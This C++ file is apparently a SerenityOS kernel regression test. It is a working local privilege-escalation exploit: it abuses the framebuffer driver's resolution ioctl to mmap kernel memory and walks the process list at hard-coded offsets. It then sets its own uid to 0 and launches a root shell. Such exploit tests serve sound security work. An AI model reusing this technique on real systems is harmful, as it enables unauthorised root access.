bxvga-mmap-kernel-into-userspace.cpp 2.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105
  1. /*
  2. * Copyright (c) 2018-2020, the SerenityOS developers.
  3. *
  4. * SPDX-License-Identifier: BSD-2-Clause
  5. */
  6. #include <AK/Types.h>
  7. #include <fcntl.h>
  8. #include <stdio.h>
  9. #include <string.h>
  10. #include <sys/ioctl.h>
  11. #include <sys/mman.h>
  12. #include <unistd.h>
  13. int main()
  14. {
  15. int fd = open("/dev/fb0", O_RDWR);
  16. if (fd < 0) {
  17. perror("open");
  18. return 1;
  19. }
  20. size_t width = 17825;
  21. size_t height = 1000;
  22. size_t pitch = width * 4;
  23. size_t framebuffer_size_in_bytes = pitch * height * 2;
  24. FBHeadProperties original_properties;
  25. original_properties.head_index = 0;
  26. if (ioctl(fd, FB_IOCTL_GET_HEAD_PROPERTIES, &original_properties) < 0) {
  27. perror("ioctl");
  28. return 1;
  29. }
  30. FBHeadResolution resolution;
  31. resolution.head_index = 0;
  32. resolution.width = width;
  33. resolution.height = height;
  34. resolution.pitch = pitch;
  35. if (ioctl(fd, FB_IOCTL_SET_HEAD_RESOLUTION, &resolution) < 0) {
  36. perror("ioctl");
  37. return 1;
  38. }
  39. auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
  40. if (ptr == MAP_FAILED) {
  41. perror("mmap");
  42. return 1;
  43. }
  44. printf("Success! Evil pointer: %p\n", ptr);
  45. u8* base = &ptr[128 * MiB];
  46. uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
  47. printf("base = %p\n", base);
  48. printf("g_processes = %p\n", (void*)g_processes);
  49. auto get_ptr = [&](uintptr_t value) -> void* {
  50. value -= 0xc0000000;
  51. return (void*)&base[value];
  52. };
  53. struct ProcessList {
  54. uintptr_t head;
  55. uintptr_t tail;
  56. };
  57. struct Process {
  58. // 32 next
  59. // 40 pid
  60. // 44 uid
  61. u8 dummy[32];
  62. uintptr_t next;
  63. u8 dummy2[4];
  64. pid_t pid;
  65. uid_t uid;
  66. };
  67. ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
  68. Process* process = (Process*)get_ptr(process_list->head);
  69. printf("{%p} PID: %d, UID: %d, next: %p\n", process, process->pid, process->uid, (void*)process->next);
  70. if (process->pid == getpid()) {
  71. printf("That's me! Let's become r00t!\n");
  72. process->uid = 0;
  73. }
  74. FBHeadResolution original_resolution;
  75. original_resolution.head_index = 0;
  76. original_resolution.width = original_properties.width;
  77. original_resolution.height = original_properties.height;
  78. original_resolution.pitch = original_properties.pitch;
  79. if (ioctl(fd, FB_IOCTL_SET_HEAD_RESOLUTION, &original_resolution) < 0) {
  80. perror("ioctl");
  81. return 1;
  82. }
  83. execl("/bin/sh", "sh", nullptr);
  84. return 0;
  85. }